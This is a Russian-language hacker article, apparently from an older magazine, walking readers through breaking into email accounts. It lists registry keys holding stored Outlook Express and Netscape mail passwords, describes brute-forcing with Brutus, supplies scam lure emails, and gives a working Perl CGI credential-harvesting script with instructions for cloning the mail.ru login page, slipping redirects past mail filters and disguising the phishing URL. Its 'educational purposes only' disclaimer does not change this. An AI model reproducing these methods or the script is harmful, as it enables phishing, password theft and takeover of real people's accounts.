Доброго времени суток! В
этой статье я предложу на рассмотрение и Ваш суд несколько способов
взлома почтовых ящиков.
Для начала немного схоластики. Причиной написания
этой статьи послужило то,
что мне, честно говоря, надоело писать ответы на подобные вопросы. Надеюсь, данная дока поможет. Итак. Рассмотрим
какие вообще бывают по
чтовые
ящики. Я бы разделил все по
чтовые
ящики на 3 категории:
железный в
подъезде;
корпоративный в фирме;
вебовский на
бесплатном
сервере.
Ну с первой категорией совсем
просто. Берем
ломик и топаем смело "хачить"
ящик и
тырить почту. Некоторые спросят: "А где
скачать ПО типа
ломик?" Отвечаю: в ближайшем хозяйственном магазине. И еще добавлю,
что в
принципе, если обладать хваткой гиббона, то можно обойтись и без компрометирующего
ломика. Ну да ладно, отвлекся.
Продолжим.
Рассмотрим вторую категорию,
корпоративную почту. Здесь уже все намного сложнее. Существуют 2 пути взятия бастиона
сервера корпоративной почты (вообще, если подумать, то 3 пути - про
ломик нельзя забывать). Так вот, эти два пути заключаются в следующем:
внедриться (удаленно, конечно же) на сам
сервер и вырезать
базу данных юзеров;
внедриться на машину самого юзера и
стырить пароль на
почту.
1-й путь, с Вашего позволения, рассматривать в
этой статье не буду. В следующий раз. Скажу только,
что почтовый сервер тоже должен управляться определенной ОС и подвержен всем ее болезням. В смысле, удастся ли вам попить чайку, если чайник пуст и в кране нет воды?
Второй путь рассмотрю частично. Про внедрение на машину юзера под управлением OS Windows написано очень много. Сразу оговорюсь за
чем туда проникать. Дело в том,
что корпоративная почта и ее
сервер принадлежат в основном только одной компании, АО, предприятию, фирме (
нужное подчеркнуть), и по
этому не имеет смысла писать вебовский интерфейс доступа к оной. А посему юзеры пользуются различными по
чтовыми
программами типа
Outlook Exp
ress, Netscape
Mail, The Bat! (редкий случай, т.к. техническому персоналу обычно влом ставить эту прогу, а сам юзер про нее мог даже и не слышать) и др. Вот. Предположим,
что мы уже проникли в компьютер юзера. Я опишу только
что делать, если у пользователя установлен
Outlook Exp
ress или Netscape
Mail, дабы сэкономить свое и Ваше время, к тому же данные
программы является наиболее распространенными среди коммерческих и государственных организаций. Информация о пароле к
почте для Outlook Exp
ress находится в
реестре, в ключах:
HKLM\
Software\Microsoft\
Protected Storage System Provider\*Default*
\Data\
89c39569-6841-11d2-9f59-0000f8085266
или в:
HKLM\
Software\Microsoft\
Protected Storage System Provider\<UserName>
\Data\
89c39569-6841-11d2-9f59-0000f8085266
Если на компьютере включены профили пользователей, то смотреть надо в:
HKCU\
Software\Microsoft\
Protected Storage System Provider\<UserName>
\Data\
89c39569-6841-11d2-9f59-0000f8085266
Для Netscape
Mail в ключе:
[HKCU\
Software\Netscape\Netscape Navigator\biff\users\<юзер>
\servers\<
сервер>] "
password"="зашифрованный_
пароль"
Наша задача
стырить эти данные и расшифровать их. Алгоритм шифрования несложный, стандартный
для Windows XOR. Расшифровав полученную информацию, смело телнетимся на
сервер по 110-му порту (если он открыт наружу) и забираем
почту. Можно также
настроить свою по
чтовую
программу (при тех же
условиях) и пользоваться ею, но
это уже не
принципиально.
На сем обзор второй категории и закончим.
Переходим к наиболее интересному (с моей точки зрения) -
взлому бесплатной вебовской
почты.
Опять же существует несколько способов хака:
подбор пароля;
социальная
инженерия;
метод редиректа.
Первый очень
простой и наиболее распространен. Алгоритм действий такой:
1. Запускаем Brutus
2. Конфигурируем параметры (
сервер, имя , прокси и т.п.)
3. Выбираем
файл-словарь (если есть)
4. Устанавливаем
метод простого
подбора (если нет словаря)
5. Жмем СТАРТ
6. Ждем...
7. Ждем...
8. Ждем...
9. Получаем (или не получаем) результат.
Этот
метод не очень хорош. Он медленный, примитивный, не гарантирующий результат, страдает высоким трафиком.
Как Вы, наверное, уже поняли я его не люблю.
Второй
метод (социальная
инженерия) рассчитан на глупость, жадность, доверчивость и любопытство пользователя. Основная задача обмануть жертву и заставить ее отдать
пароль без боя. (Или с боем - вспомним про
ломик).
Как это работает. Пишем письмо жертве примерно такого содержания:
Здравствуйте! Поздравляю, Вы выиграли!
Вы признаетесь самым любопытным пользователем интернета.
Вы выиграли модем USR Courier 56K.
Ваш выигрыш мы с радостью доставим Вам домой.
Отправьте нам свои данные по
этому адресу obmanuli@duraka.ru.
Или такого:
FREE!!!
Заполните форму, введите ваш домашний адрес, ФИО,
а также логин/
пароль для авторизации на нашем
сервере.
Вы получите абсолютно
бесплатно майку, куртку,
шапку, сапоги и электрогубозакоталку.
Я уверен,
что при наличии серого вещества (
как выражается мой знакомый N!kk) Вы придумаете
что-то и получше. В первом случае жертва (если поведется) отправит Вам свои данные, которые можно зарядить в форму восстановления
забытого пароля и, так сказать, восстановить "забытый
пароль". Во втором письме может прийти еще и логип\
пароль. Психологически человек не способен запомнить большое кол-во
паролей, по
этому в 60% случаев
пароль совпадет с тем, который мы и пытаемся раз
добыть.
В
этом и заключаются основы
метода социальной инженерии.
Переходим к последнему
методу,
методу
редиректа. Я назвал
этот
метод именно так, потому
что при открытии письма происходит автоматическая пересылка жертвы на левый сайт. Итак, подробнее. Для начала нам надо застолбить место где-нибудь на
бесплатном
сервере с поддержкой CGI
скриптов. Главное,
чтобы не было требований размещения рекламных банеров (по
чему, объясню позднее). Теперь займемся подготовкой поля боевых действий. Определившись с жертвой, мы знаем на
каком
сервере расположен ее
почтовый ящик. Объясню на примере. Предположим, нам надо
добыть пароль к
ящику lamer@
mail.ru Идем по
этому адресу
http://win.mail.ru/cgi-bin/auth и копируем исходный текст того,
что откроется. Наша цель написать страницу наиболее похожую на настоящую.
Получилось? Надеюсь,
что да. Помните я говорил о том,
что сервер бесплатного хостинга не должен требовать размещения рекламного баннера? С двумя баннерами наша утка не будет похожа на ихнего гуся. Теперь надо эту страничку немного переделать.
Как Вы уже поняли, пользователь при открытии письма перенаправляется на нашу новоиспеченную липу. Увидев приведенную выше форму, жертва думает примерно так: "Опять
этот ...
сервер, мать ..., сломался!!!" и без лишних подозрений вводит свой логин\
пароль. "Попался, гад" подумаем мы. Но его данные надо еще суметь сохранить. Для
этого напишем следующий
скрипт:
# Часть no. 1
# Этот кусок вытаскивает все переменные из того,
что было
# послано формой в массив, и расщепляет наши две переменные
# в $name и $pass, эту часть можно не изменять вообще
&GetFormInput;
$name=$field{'name'};
$pass=$field{'pass'};
sub GetFormInput { (*fval) = @_ if @_ ;
local ($buf);
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
read(STDIN,$buf,$ENV{'CONTENT_LENGTH'});
} else {
$buf=$ENV{'QUERY_STRING'};
}
if ($buf eq "") {
return 0 ;
} else {
@fval=split(/&/,$buf);
foreach $i (0 .. $#fval){
($name,$val)=split (/=/,$fval[$i],2);
$val=~tr/+/ /;
$val=~ s/%(..)/pack("c",hex($1))/ge;
$name=~tr/+/ /;
$name=~ s/%(..)/pack("c",hex($1))/ge;
if (!defined($field{$name})) {
$field{$name}=$val;
} else {
$field{$name} .= ",$val";
}
}
} return 1;
}
# Конец Части no. 1
# Часть no. 2
# Теперь спасаем переменные в текст
файл pass.txt
# Сначала откроем его, ИСПОЛЬЗУЕМ
метод APPEND(>>)
# Если он не существует, то он будет автоматически создан
open (OUTFILE, ">>pass.txt");
# Запишем переменные в
файл print OUTFILE "$name";
print OUTFILE "\n$pass";
# И несколько "украшений"
для удобства дальнейшего чтения
print OUTFILE "\n=======END=======\n\n";
# Может закроем теперь
файл?
Close (OUTFILE);
# Конец Части no. 2
# Часть no. 3
# Теперь, после записи
данных в
файл, можно послать юзера куда
# подальше,
что мы и делаем
print "Location:
http://your_redirect_URL\n" ;
# Конец Части no. 3
Мне было влом
самому писать
этот
скрипт, по
этому я воспользовался
скриптом, написанным 6DE9A, надеюсь, он не обидится.
Теперь немного переделаем форму: вставим в ее определение <form action="наш_
скрипт.cgi" method="post">
Вот собственно и все. Проверяем
как работает. Если все хорошо, то после нажатия на "Вход >>>" мы должны получить
файлик pass.txt с паролем. Получили? Замечательно! Осталась самая малость - перенаправить жертву в нашу паутину.
В нашем письме жертве
нужно написать
редирект.
Существует два
метода
редиректа:
Редирект с помощью
META HTTP-EQUIV
Редирект с помощью Ява
скрипта
Редирект с помощью
META HTTP-EQUIV выглядит так:
<
META HTTP-EQUIV=
Refresh CONTENT="0; URL=
http://URL_Куда_послать">Все
это дело вставляется между <head> и </head>, где в значении CONTENT указывается время, после которого должен произойти
редирект, и URL значение
редиректа.
Редирект с помощью Ява
скрипта выглядит так:
<script language="JavaScript">
window.location=http://URL_Куда_послать
</script>
Все
это просто и замечательно, но есть серьезная проблема. На халявных мыльницах (
почтовых серверах) есть фильтр входящей
почты, который нагло срубит все наши старания. Ну
что ж, постараемся его обмануть. Можно вот
что сделать:
скрипт редиректа можно вставлять в тег <a h
ref="Some_JavaScript">Линк</a>
вставлять в тег <img src="Some_JavaScript">
и даже вставлять в стили:
<style TYPE="text/
css">
@import url(Some_JavaScript);
</style>
Все эти стили до сих пор
работают на многих мыльницах. "А если не
работают?", спросите Вы. Печально. Придется искать другие пути, но не будем о грустном. Допустим все с
работало.
Ладно, посмотрим
что мы имеем. Письмо прошло, жертва его открыла, отправилась на ..., в общем, попалась, оставила свои данные и вернулась обратно. Ура получилось!!! Но ликовать еще рано. Зайдем-ка еще разок на нашу страничку. Что мы видим в строке адреса?
http://mypage.freehost.ru/antilamer.htmlНекрасиво,
правда? Любое ламо догадается,
что попал не на свой любимый
mail.ru Давайте спря
чем наш реальный адрес. Известно,
что все,
что стоит между http:// и @, не принимается во внимание браузером. Отлично, этим и воспользуемся. Теперь наш адрес
редиректа будет таким:
http://win.mail.ru/cgi-bin/auth@mypage.fre.../antilamer.htmlНо и
это еще не все. Реальный адрес еще виден. Ладно, и
это исправим. Сам путь тоже можно закодировать, используя
ASCII таблицу, то есть, например, вместо w можно поставить %77 и т.д... В итоге получим:
http://win.mail.ru/cgi-bin/auth%40%6d%69%7...%73%74%2e%72%75Правда здорово? Мне тоже нравится.
За сим позволю себе попрощаться и пожелать Вам больших успехов.
Ах да, чуть не забыл:
Данная статья написана ТОЛЬКО
для образовательных целей, я не отвечаю ни за
какие последствия, которые
могут иметь место вследствие использования
этого материала. Вы используете все вышеперечисленное на свой страх и риск.
Вопросы, пожелания, предложения, исправления, дополнения и денежные чеки прошу направлять сюда
akvin@xakep.ruhttp://wwc.ru